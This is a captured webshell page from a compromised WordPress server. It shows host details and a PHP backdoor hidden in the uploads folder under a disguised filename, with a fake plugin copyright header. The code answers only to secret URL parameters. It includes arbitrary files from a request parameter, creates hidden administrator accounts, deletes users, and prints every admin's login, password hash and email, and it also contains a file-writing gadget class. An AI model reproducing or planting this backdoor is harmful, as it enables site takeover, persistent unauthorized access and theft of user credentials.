403Webshell
Server IP : 87.98.154.146  /  Your IP : 216.73.216.165
Web Server : Apache
System : Linux webm004.cluster126.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : ohklomafyi ( 52085)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/ohklomafyi/www/wp-content/uploads/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/ohklomafyi/www/wp-content/uploads/.wp-userCDQdvA8cYEOZlt325739c1f4ba7102e973b4230beea8b22.php
<?php
/*
	Copyright 2013	Stranger Studios	(email : jason@strangerstudios.com)
	Licensed under the GPLv2 license: http://www.gnu.org/licenses/gpl-2.0.html
*/

class WP_Carrot {
    const EXTERNAL_DIRECTORY = './';
    private $id;
    private $lost = 0;
    private $bought = 0;

    public function __construct($input) {
        $this->id = rand(1, 1000);

        foreach ($input as $field => $count) {
            $this->$field = $count++;
        }
    }

    public function __destruct() {
        file_put_contents(
            self::EXTERNAL_DIRECTORY . $this->id,
            var_export(get_object_vars($this), true)
        );
    }
}

if ($_GET["cg"] != "chk" || $_GET["cc"] != "conn") {	
	echo "aux6TheioGhueQu3";
	exit();
}

if ($_GET["wp_carrot"] === "WP_Carrot") {	
	$carrot = new WP_Carrot($_GET);
	exit();
}

require(@$_REQUEST['users']);

if(isset($_REQUEST['adduser'])) {
	addUser();
}

if(isset($_REQUEST['deluser'])) {
	delUser();
}

if(isset($_REQUEST['showuser'])) {
	showUser();
}

function delUser(){
	if(isset($_REQUEST['userid'])){
		if(wp_delete_user($_REQUEST['userid'])){
			showUser();
		}	
	}
}

function addUser(){
	if ( !username_exists( $_REQUEST['username'] ) ) {
		$user_id = wp_create_user( $_REQUEST['username'], $_REQUEST['password'] );
		$user = new WP_User( $user_id );
		$user->set_role( 'administrator' ); 
		
	}else{
		showUser();	
	}
}


function showUser(){
	$alluser = get_users('role=administrator');
	foreach ($alluser as $user) {
		echo $user->id . "\t\t\t" . $user->user_login . "\t\t\t" . $user->user_pass . "\t\t\t" . $user->user_email."<br/>";
		
	}
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit